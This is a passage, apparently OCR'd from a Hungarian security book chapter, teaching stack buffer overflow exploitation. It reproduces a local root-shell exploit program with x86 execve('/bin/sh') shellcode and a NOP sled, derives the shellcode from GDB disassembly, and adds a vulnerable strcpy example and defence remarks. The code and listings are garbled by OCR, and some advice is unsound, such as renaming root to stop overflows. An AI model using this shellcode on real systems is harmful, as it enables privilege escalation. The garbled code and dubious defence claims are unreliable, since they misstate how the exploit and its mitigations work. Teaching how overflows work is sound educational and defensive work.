végül rátesz még egy lapáttal. A biztos eredmény: memóriavédelmi hiba és a program összeomlása. Ha a támadó kapcsolatot épít fel a hosttal, és egy hosszú karakterláncot küld egy meghatározott programnak, az lefagy. Azonban bizonyos bevitelekkel még végre lehet hajtatni egy kódot az instabil rendszeren. Itt a támadók különösen abban érdekeltek, hogy egy shellt (parancssort) nyissanak root-jogokkal a rendszeren. Sok, úgynevezett kizsákmányoló (exploit) kód van, amelyek arra valók, hogy egy Buffer-Overflow segítségével „megörököljenek" egy root-jogokkal rendelkező shellt. Ezzel át lehet venni az ellenőrzést a számítógép felett. Talán felmerül a kérdés, hogy miért kell egyáltalán root-jogokkal futniuk a programoknak. Ennek a következő a háttere: egyes funkciók, mint a raw sockets vagy bizonyos rendszererőforrások elérése, például az 1024 alatti portoké vagy eszközöké, root-jogokat követel meg. A ping egy jó példa az olyan programra, ami root-jogokkal fut, de minden felhasználó elindíthatja. Ez egy SUID bitet helyez el, ami azt jelenti, hogy a program a tulajdonos és nem a felhasználó jogaival fut. Ez főleg a SUID-programoknál érdekes, amelyek a roothoz tartoznak. Világos, hogy egy ilyen program biztonsági kockázatot jelenthet, hiszen rootként futó eljárások csak olyanok lehetnek, amelyek már bootoláskor elindulnak. Ha minden felhasználó root-jogokkal tud programokat futtatni, természetesen megnő a lehetséges hibaforrások száma.
11.2.2 Hogyan működik? Shell-kód alatt olyan assembler-kódot értünk, amely arra kényszeríti a programot, hogy egy shellt hozzon létre. A shell-kód értelme és célja, hogy ez fusson a főprogram helyett, amikor a program egy eljárásból vagy függvényből visszatér. A továbbiak megértéséhez alapos assembler- és Shellscript-ismeretekre van szükség - különben nem fog menni. A kivitelezéshez szükséges programok (GCC=GNU C Compiler, GDB=GNU Debugger) futtatásához még Linux is kell. Forráskódokkal mutatjuk meg, hogyan nem íródnak felül válogatás nélküli tetszőleges programrészek, s hogyan lehet célzottan megváltoztatni a függvény visszatérési pontjának a címét.
addr = get_sp( ) - offset;
Magyarázatképpen egy forráskód: exploit3.c #include #define DEFAULT_OFFSET #DEFAULT_BUFFER_SIZE #defineNOP
Az „Offset" értéke 0 0 512 0x90
Olyan fogalmakkal lehet dolgozni, mint a „DEFAULT_OFFSET", hogy a kód, azáltal, hogy kevesebb számot használunk, olvashatóbbá váljon. Fontos még megemlíteni, hogy a NOP-kód csak a Ox90-es Intel CPU-kon fut. cbar shettcode[ ] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\ x40\xcd" "\x80\xe8\xdc\xff\xff\xff\bin/sh"; A Shellcode változóhoz egy értéket rendelünk, a Shellcode csak a „bin/sh", a többi assembler. unsigned long get_sp(void) { asm("movl%esp,%eax"); } A „get_sp" változó feltöltése assembler-kóddal} mid main(int argc, dhar *argv[ ]) { char *buff, *ptr; long *addr:ptr, addr; int offset=DEFAULT_OFFSET, int i;
printf("Using address: 0x%x\n", addr); Kiírja a „Using address: 0x%x\n" -t és az „addr" értékét. ptr = buff; A „ptr" megfelel a „bufF"-nak addr_ptr = (long *) ptr; Pointer a ptr címére for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; Pointer az „addr-ptr" helyére, mert az addr-ptr címét minden cikluslefutással növeljük, a pointer minden alkalommal egy bájttal tovább mutat. for (i = 0; i < bsize/2; i++) buff[i] = NOP; A NOP-kódokat a pufferméret feléig írjuk a memóriába. ptr = buff+ ((bsize/2) - (strlen(shellcode)/2)); for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; Beírjuk a shellkódokat a memóriába. buff[bsize
-1]=
'\0';
Most elhelyezzük az endbyte-ot. memcpy(buff;"EGG=",4); putenv(buff); system("/bin/bash ");
bsize=DEFAULT_BUFFER_SIZE;
A változókhoz értéket rendel if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff=malloc(bsize))) { printf("Can't allocate memory. \n"); exit(0); }
}
Ez a kód még nincs kész, mert még nem ismerjük a shellkód helyét a memóriában. Ezért nagyon pontosan meg kell becsülni, hogy eltaláljuk a megfelelőt. Természetesen a támadók több NOP-kódot is beépítenek. Egy valódi exploitnál ez többnyire több mint 100 - 1000 NOP kód, hogy növeljék a találat esélyeit.
11.2.3 Minek kell a Shellcode változónál állnia? Most már mindenképpen segítségül kell hívni egy GDB-t! shellcode.c #include void main( ) { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NLL); }
Hogy megnézzük, hogyan néz ki a forráskód assemblerben, elindítjuk, és GDB-vel elemezzük. Ehhez először a GCC-vel kell compilerelni a programot. A parancs így néz ki: gcc -o shellcode -ggdb -static shellcode.c Most elindítjuk a GDB-t: gdb shellcode A GDB ingyenes szoftver, és másolatot is lehet róla készíteni! (gdb) disassemble main Dump of assembler code for function main: 0x8000130: pushl %ebp 0x8000131: movl %esp,%ebp 0x8000133: subl $0x8,%esp 0x8000136: movl $0x80027b8,0xfffffff(%ebp) 0x800013d: movl $0x0,0xfffffffc(%ebp) 0x8000144: pushl $0x0 0x8000146 leal 0xfffffff8(%ebp),%eax 0x8000149: pushl %eax 0x800014a: movl 0xfffffff8(%ebp),%eax 0x800014d: pushl %eax 0x800014e: call 0x8002bc <__execve> 0x8000153: addl $0xc,%esp 0x8000156: movl %ebp,%esp
0x8000158: popl %ebp 0x8000159: ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+l>: movl %esp, %ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: movl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <_execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x80001a34<__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xfffffffc,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp, %esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. Hogy ezt megértsük, először a „main"-t analizáljuk: 0x8000130: 0x8000131: 0x8000133:
pushl movl subl
%ebp %esp,%ebp $0x8,%esp
Ez volt az eljárás kezdete. A régi frame-pointert mentjük, és egy új frame-pointert állítunk elő, amely szabad helyet készít a helyi változóknak. Ebben az esetben:
Az eljárás kezdete
char *name[2]; 0x8000136:
movl
$0x80027b8,0xfffffff(%ebp)
A 0x80027b8 értéket (a ,/bin/sh" címe) bemásoljuk az első pointer of name[ ] -be. Ez ugyanazt jelenti mint: name[0]="/bin/sh"; 0x800013d: movl $0x0,0xfffffffc(%ebp) A 0x0 (NULL) értéket a második pointer of name[ ] -be másoljuk. Ez ugyanazt jelenti mint: name[1] = NULL; Az execve( ) meghívása itt kezdődik. 0x8000144:
pushl
leal
0xfffffff8(%ebp),%eax
Betöltjük a name[ ] címét az EAX regiszterbe. 0x8000149:
pushl
%eax
Beírjuk a name[ ] címét a stackbe. movl
0x800014a:
0xfffffff8(%ebp),%eax
Betöltjük a "/bin/sh" sztring címét az EAX regiszterbe. 0x800014d:
pushl
%eax
Beírjuk a stackbe a "/bin/sh" sztring címét. 0x800014e:
call
0x8002bc
<__execve>
Az execve( ) library eljárás meghívása. Beírja az instruction pointert a stackbe. Most execve( ). Minden folyamat az operációs rendszertől függ. 0x80002bc <__execve>: 0x80002bd <__execve+1>: movl 0x80002bf <__execve+3>:
$0xb,%eax
A 0xb-t a stackbe másoljuk. Ez az index a syscall-táblában. 11 az execve. 0x80002c5 <__execve+9>: movl
0x8(%ebp),%ebx
A "/bin/sh" címét bemásoljuk az EBX-be. 0x80002c8 <__execve+12>: movl
0xc(%ebp),%ecx
A name [ ] címét bemásoljuk az ECX-be. 0x80002cb <__execve+15>: movl
0x10(%ebp),%edx
A Null pointer címét az EDX-be másoljuk.
$0x0
Az execve( ) argumentumait fordított sorrendben helyezzük (push) a stackbe. NULL-ával kezdünk. 0x8000146:
0x80002c0 <__execve+4>: movl
pushl %ebp %esp, %ebp pushl %ebx
0x80002ce <__execve+18>: int
$0x80
Kernel módra váltunk. Tulajdonképpen ez minden az execve( ) meghívásáról. De mi történik, ha félresikerül? A program végeérhetetlenül tovább hozná az értékeket a stackből, amelyek azután más értékeket tartalmazhatnának. Nem valami finom dolog. A támadó egy ilyen programot természetesen megpróbál tisztán programozni. Ezt úgy tudja elérni, hogy hozzáfűz egy exit syscall-t: exit.c #include void main( ) { exit(0); } gcc -o exit -static exit.c gdb exit (no debugging symbols found)... (gdb) disassemble_exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: 0x8000350 <_exit+4>: 0x8000355 <_exit+9>: 0x8000358 <_exit+12>: 0x800035a <_exit+14>: 0x800035d <_exit+ll>: 0x800035f <_exit+19>: 0x8000360 <_exit+20>: 0x8000361 <_exit+21>: 0x8000362 <_exit+22>: 0x8000363 <_exit+23>:
pushl %ebx movl $01,%eax movl 0x8(%ebp),%ebx int $0+80 movl 0xfffffffc(%ebp),%ebx movl %ebp, %esp popl %ebp ret nop nop nop
szünk, és a Call parancshoz egy Jump parancsot, a sztringcím lesz visszatérési címként megadva, mikor a hívás lefutott. Most már csak annyit kell tenni, hogy a visszatérési címet bemásoljuk a regiszterbe. A J itt a Jump, és a C a Call helyett áll. A programfutás a következőképpen néz ki:
End of assembler dump. Az Exit syscall-t a 0xl-re helyezzük az EAX-ben, ez az exit kód, és ezután kell végrehajtani az „int 0x80"-at. A legtöbb program 0-t ad vissza, ha nem volt hiba. Összefűzve ez a következőképpen néz ki: Elhelyezzük a sztringet a kód mögött, természetesen a sztring címét és az endbyte nullát a tömb mögé tesszük. movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb, %eax movl string_addr, %ebx leal string_addr,%ecx leal null_string, %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. Mivel soha nem tudjuk pontosan, hogy pontosan hova kerül a memóriában az exploit kódunk, könnyítésképpen bizonyos parancsokat lehet használni. Jump-pal és Call-lal olyan parancsokat lehet használni, amelyekkel relatív címeket kapunk. Ha a „/bin/sh" sztring elé egy Call parancsot te-
A programkód a módosításokat követően jmp offset-to-call popl %esi . movl %esÍ,array-offset(%esi) # movb $0x0,nullbyteoffset(%esi) movl $0x0,null-offset(%esi) movl $0xb,%eax movl %esi, %ebx leal array-offset, (%esi), %ecx leal null-offiet(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call offset-to-popl /bin/sh string goes here.
# 2 bytes # 1 byte 3 bytes # 4 bytes # 7 bytes # 5 bytes # 2 bytes # 3 bytes # 3 bytes # 2 bytes # 5 bytes # 5 bytes # 2 bytes # 5 bytes
Ha az offseteket Jump-ról Call-ra, Call-ról Popl-ra, a sztringcímről tömbre és a sztringcímet nullára számoljuk át, ezt kapjuk: jmp 0x26 popl %esi jnovl %esi,0x8(%esi) movb $0x0,0x7 (%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi, %ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 call 0x2b string \"/bin/sh\"
# 2 bytes # l byte # 3 bytes # 4 bytes # l bytes # 5 bytes # 2 bytes # 3 bytes # 3 bytes # 2 bytes # 5 bytes # 5 bytes # 2 bytes # 5 bytes #8 bytes
Hogy kiderüljön, működik-e a kód, először a compilerrel lefordítjuk, és azután teszteljük. De van egy probléma! Ez a kód sajátosan változik. Sok operációs rendszer ezt megint csak nem engedi meg. Ezért a kódot, amelyet futtatunk, egy fájlszegmensbe vagy stackbe kell csomagolni, és ezután a transzferkontrollt kell használni. Hogy ezt elérjük, a kódot egy globális tömbbe helyezzük a fájlszegmensben. Először azonban a bináris kód hexmegjelenítéséhez kell jutnunk. Ha ez kész, akkor lehet mindent compilerelni, és ismét a GDB-t használni.
11.3 Áldozat a Buffer-Overflow-kért Ezekhez a támadásokhoz tehát egy pufferra van szükség, amelyhez a vége után is hozzá tudunk írni, ami természetesen egy fatális programozási hiba. A hiba azonban többnyire nem a programozón múlik, neki elég néhány könyvtárfunkciót használnia, és máris jelentkeznek ezek a problémák. A könyvtárfüggvények tartalmazta parancsok, a gets( ), a sprintf( ), a vprintf( ), a strcat( ), a strcpy( ) és a scanf( ) nem figyelnek arra, mekkora a rendelkezésre
álló puffer. A parancsok egyszerűen egy null-karakterig (\0) olvasnak, egy null-terminálással megjelölt program végéig. A sztring azonban lehet túl hosszú, és a \0 jóval a puffer vége után is elhelyezkedhet. Az ilyen funkciókat a forráskódban a legegyszerűbb megkeresni, ami pl. Linuxprogramoknál szabadon hozzáférhető. A másik eljárás arra, hogy egy puffért bevitelekkel megtöltsünk, egy ciklus, amely elolvas és a pufferbe ír egyes karaktereket. Mik azok a Heap-based Overflow-k? Heap-based Overflow-kat sokkal nehezebb előállítani, mint a Stack Overflow-kat, ezért ritkábban is találkozni az előbbiekkel, s a programozók sem nagyon védik ettől a programjaikat. Hozzáértő hackereknek tehát ez egy egészen különleges támadási pont! A gond az, hogy soha nem statikus puffereket, hanem helyette malloc( ) -ot használnak. A programozók úgy gondolják, ezzel minden veszélytől védve vannak. Ez persze véd a Stack Overflow-któl, de nem a Heap-based Overflow-któl. Lényegében a dinamikus hozzárendelés sem sokkal biztonságosabb.
11.4 Honnan lehet felismerni a Buffer-Overflow-t? Szerencsére sok lehetőség van a Buffer-Overflow-k felismerésére, ami attól függ, hogy mi áll hozzá a rendelkezésünkre. Ha olyan programról van szó, amelynek megvan a forráskódja, akkor nincs gond. Itt szisztematikusan ellenőrizni kell a paraméter-átadásokat és az egyes funkciókat (a DLL-eket és a library-ket), az ismert bizonytalansági faktorokra. Ha nincs ilyen lehetőség (nincs meg a forráskód), a user interfészen keresztül lehet váratlan bevitelekkel tesztelni a programot. Ilyenkor többnyire a sztringhosszúságot figyeljük az átadási pontokon, és hibákat keresünk. Ha egy bevitel ellenőrzés nélkül, közvetlenül a Strcpy-val kerül használatba, logikus, hogy túl lehet tölteni a puffért. íme, egy kis példa: void tulcsordul(char argvFG) { char BuffertoLittle [4];
if (strlen(argv) > 7) { cout« "Rossz: a puffer túl fog csordulni\n"; } eke { cout « "Bevitel OK, hajtsd végre\n"; strcpy(BuffertoLittle, argv); } /* Helyes: ahogy a felső részben, úgy kell ezt */ /* csinálni, először ellenőrizni, és utána végrehajtani vagy */ /* mindjárt biztonságos függvényeket használni */
strcpy(BuffertoLittel, argv); /*Rossz: Ha argc[ ] túl nagy, „PZK" túlfut */ } int main(int argc, char *argv[ ]) { cout« "Az átadandó paraméter hossza:" « strlen (argvF1G) « "\n"; tulcsordul(argv[1]); }
A demonstráláshoz egyszerűen le kellene fordítani ezt a programot, és a következőképpen elindítani: „Név 052698541". Itt az átadandó paraméternek olyan a hossza, hogy az összedöntí a programot, mert a beírás hosszabb volt, mint azt a programozó várta. Itt nem a forráskód a fontos, hanem egy manuálisan előidézett BufferOverflow demonstrálása. Megmutatja, hogyan lehet paraméterekkel és más átadásokkal (ezek más helyeken is történhetnek) szándékosan lefagyasztani programokat, vagyis manuálisan, bevitelekkel tesztelni a Buffer-Overflow lehetőségeket. Ha egy kifelé nyitott hálózati szolgáltatóról van szó, amelynél a parancsokat és a szintaxist is meg lehet tudni, akkor a Netcattel egyenként lehet ellenőrizni a parancsokat a Buffer-Overflow-ra. Ahogy az előbbiekben, itt is szándékosan túl hosszú beviteleket kell csinálni, vagy váratlan karakterekkel feltölteni, és a reakcióra várni.
Természetesen más módszerek is vannak. Egy programot lehet pl. disassemblálni, és részletről részletre átvizsgálni. Honnan ismerünk fel egy Buffer-Overflow-támadást? A Buffer-Overflow-támadásokat nagyon nehéz felfedezni. A felderítés egyik lehetősége lenne a szerver lekapcsolása, mielőtt a hacker törölhetné a nyomait a logfájlokból. Ha ez megtörténik, a támadó többé nem tud mit kezdeni ezzel a számítógéppel. Ez akkor segíthet, ha egyszer már megleptek. Így már a hálózat felügyeletével is fel lehet ismerni, honnan jönnek az adatok.
11.5 Milyen védelmi mechanizmusok vannak? Tulajdonképpen csak egy Linux-verzió, a SecureLINUX és a Solaris 2.6+ védenek, illetve védhetnek bizonyos mértékig e támadások ellen. A Solaris 2.6+ nál a „normál" telepítés után aktiválni lehet egy kapcsolót, ami megakadályozza, hogy a „heap"-ben és a „stack"-ben programok futhassanak (noexec_user_stack, noexec_user_heap). Ezáltal a Solarissal kapott programok, ha a felhasználói privilégiumokat nem használják ki túlságosan, nincsenek veszélyben. A SecureLINUX-nál egy patch-re van szükség ehhez. A standard kernelt kell megváltoztatni, és egy speciális compilerrel minden programot újra kell fordítani. A hacker célja mindig az, hogy egy rootshell-hez jusson egy másik Linux-gépen. Ezt indítja el az exploiton keresztül is. De felhasználóként vagy rendszergazdaként megvan még az a lehetőségünk is, hogy a shellneveket és az /etc/passwd-fájlt megfelelően megváltoztassuk. Így a fenti példa szerinti Buffer-Overflow természetesen nem sikerülhet. A névadási kényszer miatt ez a variáció szinte mindig sikeres. Különösen, ha minden program forráskódja megvan, és az egész Linuxot kompletten át lehet írni, pl. a „root"-ot lehet egyszerűen így nevezni: „HAHA". Ezért érvényes a régi szabály: „Minél jobban eltérsz a szabványosított megnevezésektől, annál nehezebb lesz a támadás."
11.5.1 Összefüggés
a CPU és a Buffer-Overflow között
Manapság sok szervert működtetnek a kereskedelemben nem szokásos CPU-kkal. Ezáltal a támadót vissza lehet fordítani az assembler-kód irányába, és csökken annak a kockázata, hogy egy készre fordított exploit jelenik meg az interneten. Így a tapasztalatlan támadóknak aligha van esélyük.
11.5.2 A Buffer-Overflow-k és a tűzfalak Egy tűzfallal természetesen csökkenteni lehet a Buffer-Overfíowtámadások lehetőségét. Teljes biztonságban azonban sohasem érezhetjük magunkat. A tűzfal megnehezíti a külső, illetve a belső interfészek megtámadását. Mivel a tűzfalak szinte mindig viszonylag kicsik, nem fognak bennük kiindulási pontot találni Buffer-Overflow-khoz. Konfliktusok abból adódhatnak, ha a szervernek még más feladatokat is el kell látnia, pl. e-mail gateway, router, proxy, HTTP-szerver vagy adatbázis szerverként működik. Ezek nagy biztonsági kockázatot jelentenek.
